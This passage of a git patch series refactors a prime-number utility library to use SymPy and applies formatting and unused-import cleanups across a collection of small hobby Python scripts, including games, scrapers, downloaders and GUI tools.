nuber of iterations - prec: precision of decimal places - disp: number of decimal places shown - """ - from decimal import Decimal as Dec, getcontext as gc - - gc().prec = prec - K, M, L, X, S = 6, 1, 13591409, 1, 13591409 - for k in range(1, maxK + 1): - M = Dec((K**3 - (K << 4)) * M / k**3) - L += 545140134 - X *= -262537412640768000 - S += Dec(M * L) / X - K += 12 - pi = 426880 * Dec(10005).sqrt() / S - pi = Dec(str(pi)[:disp]) - return pi - - -def isPrime(number): - """ - input: positive integer 'number' - returns true if 'number' is prime otherwise false. - """ - - # precondition - assert isinstance(number, int) and (number >= 0), ( - "'number' must been an int and positive" - ) - - # 0 and 1 are none primes. - if number <= 3: - return number > 1 - elif number % 2 == 0 or number % 3 == 0: - return False - - i = 5 - while i * i <= number: - if number % i == 0 or number % (i + 2) == 0: - return False - i += 6 - return True +# ---------- Basic utilities ---------- -# ------------------------------------------ +def isEven(number: int) -> bool: + """Return True if `number` is even, False otherwise. - -def sieveEr(N): + Examples: + >>> isEven(0) + True + >>> isEven(1) + False """ - input: positive integer 'N' > 2 - returns a list of prime numbers from 2 up to N. - - This function implements the algorithm called - sieve of erathostenes. - - """ - from math import sqrt - - # precondition - assert isinstance(N, int) and (N > 2), "'N' must been an int and > 2" - - primes = [True for x in range(N + 1)] - - for p in range(2, int(sqrt(N)) + 1): - if primes[p]: - for i in range(p * p, N + 1, p): - primes[i] = False - primes[0] = False - primes[1] = False - ret = [] - for p in range(N + 1): - if primes[p]: - ret.append(p) - - return ret - + return number % 2 == 0 -# -------------------------------- +def isOdd(number: int) -> bool: + """Return True if `number` is odd, False otherwise. -def getPrimeNumbers(N): + Examples: + >>> isOdd(0) + False + >>> isOdd(1) + True """ - input: positive integer 'N' > 2 - returns a list of prime numbers from 2 up to N (inclusive) - This function is more efficient as function 'sieveEr(...)' - """ - - # precondition - assert isinstance(N, int) and (N > 2), "'N' must been an int and > 2" - - ans = [] - - # iterates over all numbers between 2 up to N+1 - # if a number is prime then appends to list 'ans' - for number in range(2, N + 1): - if isPrime(number): - ans.append(number) - - # precondition - assert isinstance(ans, list), "'ans' must been from type list" - - return ans + return number % 2 != 0 -# ----------------------------------------- +# ---------- Primality testing (accelerated by sympy) ---------- -def primeFactorization(number): - """ - input: positive integer 'number' - returns a list of the prime number factors of 'number' +def isPrime(number: int) -> bool: """ + Test if `number` is a prime number using SymPy's deterministic isprime. - # precondition - assert isinstance(number, int) and number >= 0, "'number' must been an int and >= 0" - - ans = [] # this list will be returns of the function. - - # potential prime number factors. + Args: + number: Non‑negative integer. - factor = 2 + Returns: + bool: True if prime, False otherwise. - quotient = number + Raises: + ValueError: If `number` is negative. - if number == 0 or number == 1: - ans.append(number) - - # if 'number' not prime then builds the prime factorization of 'number' - elif not isPrime(number): - while quotient != 1: - if isPrime(factor) and (quotient % factor == 0): - ans.append(factor) - quotient /= factor - else: - factor += 1 - - else: - ans.append(number) - - # precondition - assert isinstance(ans, list), "'ans' must been from type list" - - return ans - - -# ----------------------------------------- - - -def greatestPrimeFactor(number): + Examples: + >>> isPrime(0) + False + >>> isPrime(1) + False + >>> isPrime(2) + True + >>> isPrime(97) + True + >>> isPrime(10**12 + 39) # known prime, fast + True """ - input: positive integer 'number' >= 0 - returns the greatest prime number factor of 'number' - """ - - # precondition - assert isinstance(number, int) and (number >= 0), ( - "'number' bust been an int and >= 0" - ) + if number < 0: + raise ValueError("number must be non‑negative") + return isprime(number) - ans = 0 - # prime factorization of 'number' - primeFactors = primeFactorization(number) +# ---------- Prime number generation (accelerated) ---------- - ans = max(primeFactors) - # precondition - assert isinstance(ans, int), "'ans' must been from type int" - - return ans - - -# ---------------------------------------------- - - -def smallestPrimeFactor(number): +def sieveEr(N: int) -> list[int]: """ - input: integer 'number' >= 0 - returns the smallest prime number factor of 'number' - """ - - # precondition - assert isinstance(number, int) and (number >= 0), ( - "'number' bust been an int and >= 0" - ) - - ans = 0 - - # prime factorization of 'number' - primeFactors = primeFactorization(number) - - ans = min(primeFactors) + Return a list of all primes ≤ N using SymPy's primerange. - # precondition - assert isinstance(ans, int), "'ans' must been from type int" + Args: + N: Upper bound, must be ≥ 2. - return ans + Returns: + list[int]: Prime numbers from 2 to N (inclusive). + Raises: + ValueError: If N < 2. -# ---------------------- - - -def isEven(number): - """ - input: integer 'number' - returns true if 'number' is even, otherwise false. + Examples: + >>> sieveEr(10) + [2, 3, 5, 7] + >>> sieveEr(2) + [2] """ + if N < 2: + raise ValueError("N must be ≥ 2") + return list(primerange(2, N + 1)) - # precondition - assert isinstance(number, int), "'number' must been an int" - assert isinstance(number % 2 == 0, bool), "compare bust been from type bool" - - return number % 2 == 0 +def getPrimeNumbers(N: int) -> list[int]: + """Alias for `sieveEr`.""" + return sieveEr(N) -# ------------------------ - -def isOdd(number): - """ - input: integer 'number' - returns true if 'number' is odd, otherwise false. +@lru_cache(maxsize=None) +def getPrime(n: int) -> int: """ + Return the n‑th prime number (0‑based indexing) using SymPy's prime(). - # precondition - assert isinstance(number, int), "'number' must been an int" - assert isinstance(number % 2 != 0, bool), "compare bust been from type bool" - - return number % 2 != 0 - + Args: + n: Non‑negative integer. -# ------------------------ + Returns: + int: The n‑th prime. + Raises: + ValueError: If n is negative. -def goldbach(number): - """ - Goldbach's assumption - input: a even positive integer 'number' > 2 - returns a list of two prime numbers whose sum is equal to 'number' + Examples: + >>> getPrime(0) + 2 + >>> getPrime(1) + 3 + >>> getPrime(3) + 7 """ + if n < 0: + raise ValueError("n must be ≥ 0") + # sympy.prime is 1‑indexed: prime(1) = 2 + return sympy_prime(n + 1) - # precondition - assert isinstance(number, int) and (number > 2) and isEven(number), ( - "'number' must been an int, even and > 2" - ) - - ans = [] # this list will returned - - # creates a list of prime numbers between 2 up to 'number' - primeNumbers = getPrimeNumbers(number) - lenPN = len(primeNumbers) - - # run variable for while-loops. - i = 0 - j = 1 - - # exit variable. for break up the loops - loop = True - - while i < lenPN and loop: - j = i + 1 - - while j < lenPN and loop: - if primeNumbers[i] + primeNumbers[j] == number: - loop = False - ans.append(primeNumbers[i]) - ans.append(primeNumbers[j]) - - j += 1 - - i += 1 - # precondition - assert ( - isinstance(ans, list) - and (len(ans) == 2) - and (ans[0] + ans[1] == number) - and isPrime(ans[0]) - and isPrime(ans[1]) - ), "'ans' must contains two primes. And sum of elements must been eq 'number'" - - return ans - - -# ---------------------------------------------- - - -def gcd(number1, number2): +def getPrimesBetween(pNumber1: int, pNumber2: int) -> list[int]: """ - Greatest common divisor - input: two positive integer 'number1' and 'number2' - returns the greatest common divisor of 'number1' and 'number2' - """ - - # precondition - assert ( - isinstance(number1, int) - and isinstance(number2, int) - and (number1 >= 0) - and (number2 >= 0) - ), "'number1' and 'number2' must been positive integer." - - rest = 0 - - while number2 != 0: - rest = number1 % number2 - number1 = number2 - number2 = rest - - # precondition - assert isinstance(number1, int) and (number1 >= 0), ( - "'number' must been from type int and positive" - ) + Return all primes strictly between two given primes. - return number1 + Args: + pNumber1: Lower bound (must be prime). + pNumber2: Upper bound (must be prime, > pNumber1). + Returns: + list[int]: All primes p with pNumber1 < p < pNumber2. -# ---------------------------------------------------- + Raises: + ValueError: If inputs are not primes or pNumber1 ≥ pNumber2. - -def kgV(number1, number2): - """ - Least common multiple - input: two positive integer 'number1' and 'number2' - returns the least common multiple of 'number1' and 'number2' + Examples: + >>> getPrimesBetween(3, 13) + [5, 7, 11] + >>> getPrimesBetween(2, 3) + [] """ + if not (isPrime(pNumber1) and isPrime(pNumber2)): + raise ValueError("Both arguments must be prime numbers") + if pNumber1 >= pNumber2: + raise ValueError("pNumber1 must be less than pNumber2") + return [p for p in range(pNumber1 + 1, pNumber2) if isPrime(p)] - # precondition - assert ( - isinstance(number1, int) - and isinstance(number2, int) - and (number1 >= 1) - and (number2 >= 1) - ), "'number1' and 'number2' must been positive integer." - - ans = 1 # actual answer that will be return. - - # for kgV (x,1) - if number1 > 1 and number2 > 1: - # builds the prime factorization of 'number1' and 'number2' - primeFac1 = primeFactorization(number1) - primeFac2 = primeFactorization(number2) - - elif number1 == 1 or number2 == 1: - primeFac1 = [] - primeFac2 = [] - ans = max(number1, number2) - - count1 = 0 - count2 = 0 - - done = [] # captured numbers int both 'primeFac1' and 'primeFac2' - - # iterates through primeFac1 - for n in primeFac1: - if n not in done: - if n in primeFac2: - count1 = primeFac1.count(n) - count2 = primeFac2.count(n) - - for i in range(max(count1, count2)): - ans *= n - - else: - count1 = primeFac1.count(n) - for i in range(count1): - ans *= n +# ---------- Prime factorization (accelerated by sympy) ---------- - done.append(n) - # iterates through primeFac2 - for n in primeFac2: - if n not in done: - count2 = primeFac2.count(n) - - for i in range(count2): - ans *= n - - done.append(n) - - # precondition - assert isinstance(ans, int) and (ans >= 0), ( - "'ans' must been from type int and positive" - ) - - return ans - - -# ---------------------------------- - - -def getPrime(n): +@lru_cache(maxsize=None) +def primeFactorization(number: int) -> list[int]: """ - Gets the n-th prime number. - input: positive integer 'n' >= 0 - returns the n-th prime number, beginning at index 0 - """ - - # precondition - assert isinstance(n, int) and (n >= 0), "'number' must been a positive int" + Return the prime factors of `number` (with multiplicity) using SymPy's factorint. - index = 0 - ans = 2 # this variable holds the answer + For number < 2, returns an empty list. - while index < n: - index += 1 + Args: + number: Non‑negative integer. - ans += 1 # counts to the next number + Returns: + list[int]: Prime factors in ascending order. - # if ans not prime then - # runs to the next prime number. - while not isPrime(ans): - ans += 1 + Raises: + ValueError: If number is negative. - # precondition - assert isinstance(ans, int) and isPrime(ans), ( - "'ans' must been a prime number and from type int" - ) - - return ans - - -# --------------------------------------------------- - - -def getPrimesBetween(pNumber1, pNumber2): + Examples: + >>> primeFactorization(12) + [2, 2, 3] + >>> primeFactorization(1) + [] + >>> primeFactorization(97) + [97] """ - input: prime numbers 'pNumber1' and 'pNumber2' - pNumber1 < pNumber2 - returns a list of all prime numbers between 'pNumber1' (exclusiv) - and 'pNumber2' (exclusiv) - """ - - # precondition - assert isPrime(pNumber1) and isPrime(pNumber2) and (pNumber1 < pNumber2), ( - "The arguments must been prime numbers and 'pNumber1' < 'pNumber2'" - ) - - number = pNumber1 + 1 # jump to the next number - - ans = [] # this list will be returns. - - # if number is not prime then - # fetch the next prime number. - while not isPrime(number): - number += 1 + if number < 0: + raise ValueError("number must be non‑negative") + if number < 2: + return [] + factors_dict = factorint(number) # {prime: exponent} + factors: list[int] = [] + for p, exp in sorted(factors_dict.items()): + factors.extend([p] * exp) + return factors # returns a list – doctest expects list - while number < pNumber2: - ans.append(number) - number += 1 +def greatestPrimeFactor(number: int) -> int: + """Return the largest prime factor of `number`.""" + if number < 2: + raise ValueError("number must be ≥ 2") + factors = primeFactorization(number) + return max(factors) - # fetch the next prime number. - while not isPrime(number): - number += 1 - # precondition - assert ( - isinstance(ans, list) and ans[0] != pNumber1 and ans[len(ans) - 1] != pNumber2 - ), "'ans' must been a list without the arguments" +def smallestPrimeFactor(number: int) -> int: + """Return the smallest prime factor of `number`.""" + if number < 2: + raise ValueError("number must be ≥ 2") + factors = primeFactorization(number) + return min(factors) - # 'ans' contains not 'pNumber1' and 'pNumber2' ! - return ans +# ---------- GCD, LCM, Divisors, Perfect (using math.gcd) ---------- -# ---------------------------------------------------- +def gcd(number1: int, number2: int) -> int: + """Greatest common divisor (uses math.gcd).""" + if number1 < 0 or number2 < 0: + raise ValueError("Arguments must be non‑negative") + return math.gcd(number1, number2) -def getDivisors(n): - """ - input: positive integer 'n' >= 1 - returns all divisors of n (inclusive 1 and 'n') - """ - - # precondition - assert isinstance(n, int) and (n >= 1), "'n' must been int and >= 1" - - ans = [] # will be returned. - - for divisor in range(1, n + 1): - if n % divisor == 0: - ans.append(divisor) - # precondition - assert ans[0] == 1 and ans[len(ans) - 1] == n, "Error in function getDivisiors(...)" +def kgV(number1: int, number2: int) -> int: + """Least common multiple.""" + if number1 < 1 or number2 < 1: + raise ValueError("Arguments must be positive") + return abs(number1 * number2) // gcd(number1, number2) - return ans +def getDivisors(n: int) -> list[int]: + """Return all positive divisors of `n` (including 1 and `n`).""" + if n < 1: + raise ValueError("n must be ≥ 1") + return [d for d in range(1, n + 1) if n % d == 0] -# ---------------------------------------------------- - - -def isPerfectNumber(number): - """ - input: positive integer 'number' > 1 - returns true if 'number' is a perfect number otherwise false. - """ - - # precondition - assert isinstance(number, int) and (number > 1), ( - "'number' must been an int and >= 1" - ) +def isPerfectNumber(number: int) -> bool: + """Check if `number` is a perfect number.""" + if number < 2: + raise ValueError("number must be ≥ 2") divisors = getDivisors(number) - - # precondition - assert ( - isinstance(divisors, list) - and (divisors[0] == 1) - and (divisors[len(divisors) - 1] == number) - ), "Error in help-function getDivisiors(...)" - - # summed all divisors up to 'number' (exclusive), hence [:-1] return sum(divisors[:-1]) == number -# ------------------------------------------------------------ - - -def simplifyFraction(numerator, denominator): - """ - input: two integer 'numerator' and 'denominator' - assumes: 'denominator' != 0 - returns: a tuple with simplify numerator and denominator. - """ +# ---------- Fraction simplification ---------- - # precondition - assert ( - isinstance(numerator, int) - and isinstance(denominator, int) - and (denominator != 0) - ), "The arguments must been from type int and 'denominator' != 0" - # build the greatest common divisor of numerator and denominator. - gcdOfFraction = gcd(abs(numerator), abs(denominator)) +def simplifyFraction(numerator: int, denominator: int) -> tuple[int, int]: + """Reduce a fraction to simplest form.""" + if denominator == 0: + raise ValueError("denominator cannot be zero") + g = gcd(abs(numerator), abs(denominator)) + return (numerator // g, denominator // g) - # precondition - assert ( - isinstance(gcdOfFraction, int) - and (numerator % gcdOfFraction == 0) - and (denominator % gcdOfFraction == 0) - ), "Error in function gcd(...,...)" - return (numerator // gcdOfFraction, denominator // gcdOfFraction) +# ---------- Factorial and Fibonacci (optimized with math.factorial and caching) ---------- -# ----------------------------------------------------------------- +def factorial(n: int) -> int: + """Compute n! using math.factorial (C implementation).""" + if n < 0: + raise ValueError("n must be ≥ 0") + return math.factorial(n) -def factorial(n): - """ - input: positive integer 'n' - returns the factorial of 'n' (n!) - """ +@lru_cache(maxsize=None) +def fib(n: int) -> int: + """Return the n‑th Fibonacci number (0‑indexed: fib(0)=1, fib(1)=1).""" + if n < 0: + raise ValueError("n must be ≥ 0") + if n < 2: + return 1 + return fib(n - 1) + fib(n - 2) - # precondition - assert isinstance(n, int) and (n >= 0), "'n' must been a int and >= 0" - ans = 1 # this will be return. +# ---------- Goldbach's conjecture ---------- - for factor in range(1, n + 1): - ans *= factor - return ans +def goldbach(number: int) -> list[int]: + """Find two primes summing to `number` (Goldbach's conjecture).""" + if number <= 2 or not isEven(number): + raise ValueError("number must be even and > 2") + primes = sieveEr(number) + prime_set = set(primes) + for p in primes: + q = number - p + if q in prime_set: + return [p, q] + raise RuntimeError("Goldbach conjecture failed for this number") -# ------------------------------------------------------------------- +# ---------- Pi calculation (unchanged, uses decimal) ---------- -def fib(n): - """ - input: positive integer 'n' - returns the n-th fibonacci term , indexing by 0 - """ +def pi(maxK: int = 70, prec: int = 1008, disp: int = 1007) -> str: + """Compute π using the Chudnovsky algorithm (unchanged).""" + from decimal import Decimal as Dec, getcontext as gc - # precondition - assert isinstance(n, int) and (n >= 0), "'n' must been an int and >= 0" + gc().prec = prec + K, M, L, X, S = 6, 1, 13591409, 1, 13591409 + for k in range(1, maxK + 1): + M = Dec((K**3 - (K << 4)) * M / k**3) + L += 545140134 + X *= -262537412640768000 + S += Dec(M * L) / X + K += 12 + pi_val = 426880 * Dec(10005).sqrt() / S + return str(pi_val)[:disp] - tmp = 0 - fib1 = 1 - ans = 1 # this will be return - for i in range(n - 1): - tmp = ans - ans += fib1 - fib1 = tmp +# ---------- Run doctests ---------- +if __name__ == "__main__": + import doctest - return ans + doctest.testmod(verbose=True) diff --git a/primelib/requirement.txt b/primelib/requirement.txt new file mode 100644 index 00000000000..2425d3a1abc --- /dev/null +++ b/primelib/requirement.txt @@ -0,0 +1 @@ +sympy \ No newline at end of file diff --git a/pyproject.toml b/pyproject.toml new file mode 100644 index 00000000000..fef1590a367 --- /dev/null +++ b/pyproject.toml @@ -0,0 +1,7 @@ +[project] +name = "python" +version = "0.1.0" +description = "Add your description here" +readme = "README.md" +requires-python = ">=3.14" +dependencies = [] diff --git a/remoteok_jobs_scraper/remoteok_jobs.py b/remoteok_jobs_scraper/remoteok_jobs.py index 9c624748193..fa9c81226d4 100644 --- a/remoteok_jobs_scraper/remoteok_jobs.py +++ b/remoteok_jobs_scraper/remoteok_jobs.py @@ -2,13 +2,14 @@ import xlwt from xlwt import Workbook -BASE_URL = 'https://remoteok.com/api' -USER_AGENT = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36' +BASE_URL = "https://remoteok.com/api" +USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" REQUEST_HEADER = { - 'User-Agent': USER_AGENT, - 'Accept-Language': 'en-US, en;q=0.5', + "User-Agent": USER_AGENT, + "Accept-Language": "en-US, en;q=0.5", } + def get_job_postings(): """Fetch job postings from RemoteOK API.""" try: @@ -20,26 +21,28 @@ def get_job_postings(): print("Error fetching jobs:", e) return [] -def save_jobs_to_excel(jobs, filename='remoteok_jobs.xls'): + +def save_jobs_to_excel(jobs, filename="remoteok_jobs.xls"): """Save job postings to an Excel file.""" if not jobs: print("No job data to save.") return - + wb = Workbook() - sheet = wb.add_sheet('Jobs') + sheet = wb.add_sheet("Jobs") headers = list(jobs[0].keys()) for col, header in enumerate(headers): sheet.write(0, col, header) - + for row, job in enumerate(jobs, start=1): for col, key in enumerate(headers): - sheet.write(row, col, str(job.get(key, ''))) + sheet.write(row, col, str(job.get(key, ""))) wb.save(filename) print(f"Jobs saved to {filename}") -if __name__ == '__main__': + +if __name__ == "__main__": jobs = get_job_postings() save_jobs_to_excel(jobs) diff --git a/scrap_file.py b/scrap_file.py index aab6e2a2e08..07b9183ff4d 100644 --- a/scrap_file.py +++ b/scrap_file.py @@ -25,4 +25,3 @@ def download(url, filename): # Example usage url = "https://avatars0.githubusercontent.com/u/29729380?s=400&v=4" download(url, "avatar.jpg") - diff --git a/secret_language.py b/secret_language.py index 33f457656b7..7d090439a3d 100644 --- a/secret_language.py +++ b/secret_language.py @@ -13,7 +13,7 @@ def random_chars() -> str: >>> random_chars() 'ZoX' """ - return ''.join(random.choices(string.ascii_letters, k=3)) + return "".join(random.choices(string.ascii_letters, k=3)) def random_digits() -> str: @@ -25,7 +25,7 @@ def random_digits() -> str: >>> random_digits() '638' """ - return ''.join(random.choices(string.digits, k=3)) + return "".join(random.choices(string.digits, k=3)) def encode(code: str) -> str: @@ -47,10 +47,14 @@ def encode(code: str) -> str: """ if len(code) >= 3: code = code[1:] + code[0] - code = random_chars() + random_digits() + code + random_digits() + random_chars() + code = ( + random_chars() + random_digits() + code + random_digits() + random_chars() + ) else: code = code[::-1] - code = random_chars() + random_digits() + code + random_digits() + random_chars() + code = ( + random_chars() + random_digits() + code + random_digits() + random_chars() + ) return code @@ -83,4 +87,4 @@ def decode(code: str) -> str: decoded = decode(encoded) print(f"Original → {code}") print(f"Encoded → {encoded}") - print(f"Decoded → {decoded}") \ No newline at end of file + print(f"Decoded → {decoded}") diff --git a/sendemail.py b/sendemail.py index 070968157be..c586b9a0bb0 100644 --- a/sendemail.py +++ b/sendemail.py @@ -16,6 +16,8 @@ SCOPES = "https://www.googleapis.com/auth/gmail.send" CLIENT_SECRET_FILE = "client_secret.json" APPLICATION_NAME = "Gmail API Python Send Email" + + def get_credentials(): home_dir = os.path.expanduser("~") credential_dir = os.path.join(home_dir, ".credentials") diff --git a/sensors_information.py b/sensors_information.py index 257b41e5a4b..0a233f26ab4 100644 --- a/sensors_information.py +++ b/sensors_information.py @@ -2,8 +2,12 @@ import sys import socket import psutil + + def python_version(): return sys.version_info + + def ip_addresses(): hostname = socket.gethostname() addresses = socket.getaddrinfo(hostname, None) diff --git a/tic-tac-toe.py b/tic-tac-toe.py index 30bc1c68ed8..cf2758c15ac 100644 --- a/tic-tac-toe.py +++ b/tic-tac-toe.py @@ -2,6 +2,7 @@ board = [" " for _ in range(9)] + def print_board(): print() print(f" {board[0]} | {board[1]} | {board[2]} ") @@ -11,20 +12,28 @@ def print_board(): print(f" {board[6]} | {board[7]} | {board[8]} ") print() + def check_winner(player): win_conditions = [ - [0,1,2], [3,4,5], [6,7,8], # rows - [0,3,6], [1,4,7], [2,5,8], # columns - [0,4,8], [2,4,6] # diagonals + [0, 1, 2], + [3, 4, 5], + [6, 7, 8], # rows + [0, 3, 6], + [1, 4, 7], + [2, 5, 8], # columns + [0, 4, 8], + [2, 4, 6], # diagonals ] for condition in win_conditions: if all(board[i] == player for i in condition): return True return False + def is_draw(): return " " not in board + current_player = "X" print("Welcome to Tic Tac Toe!") @@ -44,7 +53,7 @@ def is_draw(): if board[move] != " ": print("That position is already taken. Try again.") continue - except (ValueError, IndexError): + except ValueError, IndexError: print("Invalid input. Enter a number between 1 and 9.") continue diff --git a/url_shortner.py b/url_shortner.py index 05e13d76721..e50d2c5150c 100644 --- a/url_shortner.py +++ b/url_shortner.py @@ -1,11 +1,11 @@ # Importing the required libraries. import pyshorteners -from colorama import Fore # this module for font color +from colorama import Fore # this module for font color # Taking input from the user. url = input("Enter URL: ") -# exception handling +# exception handling try: # Creating an instance of the pyshorteners library. shortener = pyshorteners.Shortener() @@ -15,7 +15,6 @@ # Displaying the shortened URL. print(f"Shortened URL: {shortened_URL}") -except(Exception) as e: +except Exception as e: # this code runes on any error is generated by user print(Fore.RED, "Enter Valid URL format", Fore.RESET) - diff --git a/very_easy/Random.py b/very_easy/Random.py index 6877653345d..46632477e47 100644 --- a/very_easy/Random.py +++ b/very_easy/Random.py @@ -5,22 +5,21 @@ # Make a loop while True: - try: # Ask for guess guess = int(input("Guess of a number (1, 10): ")) - if (guess < 1 or guess > 10): + if guess < 1 or guess > 10: print("ERROR") - continue; + continue - if (guess == number): + if guess == number: print("You did it!") break - elif (guess < number): + elif guess < number: print("Higher!") - elif (guess > number): + elif guess > number: print("Lower!") # Robust error handling - except (ValueError): + except ValueError: print("ERROR") diff --git a/voice.py b/voice.py index 20d7f358f1c..6fa77405c96 100644 --- a/voice.py +++ b/voice.py @@ -1,4 +1,4 @@ -# modules for use of voice +# modules for use of voice from gtts import gTTS from colorama import Fore import os @@ -17,4 +17,4 @@ # Play the audio file from system os.system("start output.mp3") except Exception as e: - print(Fore.RED, e, Fore.RESET) \ No newline at end of file + print(Fore.RED, e, Fore.RESET) diff --git a/vowel remover function.py b/vowel remover function.py index 1942c30d6ae..9cc185697e7 100644 --- a/vowel remover function.py +++ b/vowel remover function.py @@ -5,6 +5,7 @@ def vowel_remover(text): string += l return string + # this code runes on only this file -if __name__=="__main__": +if __name__ == "__main__": print(vowel_remover("hello world!")) diff --git a/webcam.py b/webcam.py index d1aa682caac..38dfcd4dbb5 100644 --- a/webcam.py +++ b/webcam.py @@ -23,7 +23,7 @@ # 60 FPS video capture # Create video writer object. Save file to recording.avi out = cv2.VideoWriter("recording.avi", fourcc, 60.0, (frames_width, frames_height)) -except(Exception) as e: +except Exception as e: print(Fore.RED, e, Fore.RESET) while True: @@ -33,7 +33,7 @@ if ret == True: # Write frame to recording.avi out.write(frame) - + # color video output # Our operations on the frame come here gray = cv2.cvtColor(frame, cv2.COLOR_BGR2BGRA) @@ -47,4 +47,3 @@ cap.release() out.release() cv2.destroyAllWindows() - diff --git a/wikipedia.py b/wikipedia.py index 7235894b66c..dd7a5f05321 100644 --- a/wikipedia.py +++ b/wikipedia.py @@ -1,14 +1,19 @@ import wikipedia from tkinter import * from tkinter.messagebox import showinfo + win = Tk() # objek win.title("WIKIPEDIA") win.geometry("200x70") # function + + # function def search_wiki(): search = entry.get() Hasil = wikipedia.summary(search) showinfo("Hasil Pencarian", Hasil) + + label = Label(win, text="Wikipedia Search :") label.grid(row=0, column=0) diff --git a/write_excel_file.py b/write_excel_file.py index 8b710503555..b4a65726e0e 100644 --- a/write_excel_file.py +++ b/write_excel_file.py @@ -1,5 +1,5 @@ -import xlwt # type: ignore -import openpyxl # type: ignore +import xlwt # type: ignore +import openpyxl # type: ignore # Workbook is created xlwt_wb = xlwt.Workbook() diff --git a/youtubedownloader.py b/youtubedownloader.py index b4b813e7b5e..19c2551baa9 100644 --- a/youtubedownloader.py +++ b/youtubedownloader.py @@ -1,14 +1,16 @@ # modules for Using of app -from tkinter import Button, Entry, Label, Tk, filedialog, messagebox # Gui Modules -from threading import Thread # modules for multi threding -from pytube import YouTube # Module for Youtube service +from tkinter import Button, Entry, Label, Tk, filedialog, messagebox # Gui Modules +from threading import Thread # modules for multi threding +from pytube import YouTube # Module for Youtube service -# this function for mulple code runes at a time + +# this function for mulple code runes at a time def threading(): # Call work function t1 = Thread(target=download) t1.start() + # this function for Download Youtube video def download(): try: @@ -25,9 +27,9 @@ def download(): except Exception: messagebox.showerror("Error", "Some Thing Went Wrong!!!\nplease try again") - + # This code runes on only this file -if __name__=="__main__": +if __name__ == "__main__": root = Tk() root.title("YouTube Downloader") root.geometry("780x500+200+200") @@ -45,9 +47,13 @@ def download(): ) introlable.place(x=35, y=20) - Label(root, text="Enter YouTube Link", font=("sans-serif", 16), bg="olivedrab1", fg='Black').place( - x=40, y=150 - ) + Label( + root, + text="Enter YouTube Link", + font=("sans-serif", 16), + bg="olivedrab1", + fg="Black", + ).place(x=40, y=150) # entry box in UI url_box = Entry(root, font=("arial", 30), width=30) From 85048337e47e0d153b66bf8779cfffcc01f61a6c Mon Sep 17 00:00:00 2001 From: lighting9999 Date: Sat, 11 Jul 2026 20:27:18 +0800 Subject: [PATCH 02/13] Fix bug --- ...on 1 (elegible for remedial, top marks).py | 1 - .../search record in binary file.py | 1 - JARVIS/speech.py | 1 - ML/examples/neural_architecture_search.py | 3 +- ML/examples/train_cifar10.py | 10 +- ML/examples/train_custom.py | 1 - ML/src/python/neuralforge/cli/gui.py | 2 +- ML/src/python/neuralforge/cli/nas.py | 3 +- ML/src/python/neuralforge/cli/train.py | 1 - ML/src/python/neuralforge/config.py | 1 - .../python/neuralforge/data/augmentation.py | 1 - ML/src/python/neuralforge/data/dataset.py | 2 +- ML/src/python/neuralforge/data/datasets.py | 3 - ML/src/python/neuralforge/data/transforms.py | 2 +- ML/src/python/neuralforge/models/resnet.py | 1 - ML/src/python/neuralforge/models/vit.py | 1 - ML/src/python/neuralforge/nas/evaluator.py | 3 +- ML/src/python/neuralforge/nas/evolution.py | 3 +- ML/src/python/neuralforge/nas/search_space.py | 4 +- ML/src/python/neuralforge/nn/attention.py | 2 - ML/src/python/neuralforge/nn/convolution.py | 1 - ML/src/python/neuralforge/nn/layers.py | 2 - ML/src/python/neuralforge/nn/modules.py | 1 - ML/src/python/neuralforge/optim/schedulers.py | 1 - ML/src/python/neuralforge/trainer.py | 2 +- ML/tests/gui_test.py | 3 +- ML/tests/test_model.py | 2 +- ML/train.py | 2 - Recursion Visulaizer/git | 0 Sorting Algorithims/heapsort_linkedlist.py | 239 ++++-- Sorting Algorithims/mergesort_linkedlist.py | 244 ++++-- Sorting Algorithims/quicksort_linkedlist.py | 229 +++-- Test-Case-Generator/test_case.py | 808 +++++++++--------- depreciated_programs/corona_cases.py | 227 +++-- ...on 1 (elegible for remedial, top marks).py | 1 - .../search record in binary file.py | 1 - nodepad/notepad.py | 342 +++++--- nodepad/notepad_support.py | 370 ++++++++ notepad/notepad_support.py | 164 ---- password_checker_code.py | 3 - remoteok_jobs_scraper/remoteok_jobs.py | 1 - url_shortner.py | 2 +- 42 files changed, 1657 insertions(+), 1034 deletions(-) delete mode 100644 Recursion Visulaizer/git create mode 100644 nodepad/notepad_support.py delete mode 100644 notepad/notepad_support.py diff --git a/1 File handle/File handle binary/question 1 (elegible for remedial, top marks).py b/1 File handle/File handle binary/question 1 (elegible for remedial, top marks).py index 8b6d120cbf7..2316f5442ef 100644 --- a/1 File handle/File handle binary/question 1 (elegible for remedial, top marks).py +++ b/1 File handle/File handle binary/question 1 (elegible for remedial, top marks).py @@ -20,7 +20,6 @@ student_record = os.getenv("STUDENTS_RECORD_FILE") import pickle -import logging # Define logger with info # import polar diff --git a/1 File handle/File handle binary/search record in binary file.py b/1 File handle/File handle binary/search record in binary file.py index a6529e15240..3e7729cf377 100644 --- a/1 File handle/File handle binary/search record in binary file.py +++ b/1 File handle/File handle binary/search record in binary file.py @@ -1,7 +1,6 @@ # binary file to search a given record import pickle -from dotenv import load_dotenv def search(): diff --git a/JARVIS/speech.py b/JARVIS/speech.py index 54a983640be..98084f568ed 100644 --- a/JARVIS/speech.py +++ b/JARVIS/speech.py @@ -3,7 +3,6 @@ import sys import tempfile -import speech_recognition as sr from .config import LISTEN_PHRASE_SECONDS, SPEECH_LANGUAGES, TTS_MODE from .text_utils import clean_assistant_output, normalize_text diff --git a/ML/examples/neural_architecture_search.py b/ML/examples/neural_architecture_search.py index 25d0a1a61d8..29f9f00d659 100644 --- a/ML/examples/neural_architecture_search.py +++ b/ML/examples/neural_architecture_search.py @@ -2,7 +2,6 @@ sys.path.insert(0, ".") -import torch from src.python.neuralforge.nas.search_space import SearchSpace from src.python.neuralforge.nas.evolution import EvolutionarySearch from src.python.neuralforge.nas.evaluator import ProxyEvaluator @@ -41,7 +40,7 @@ def main(): print("Starting Neural Architecture Search...") best_architecture = evolution.search() - print(f"\nBest Architecture Found:") + print("\nBest Architecture Found:") print(f"Fitness: {best_architecture.fitness:.4f}") print(f"Accuracy: {best_architecture.accuracy:.2f}%") print(f"Parameters: {best_architecture.params:,}") diff --git a/ML/examples/train_cifar10.py b/ML/examples/train_cifar10.py index 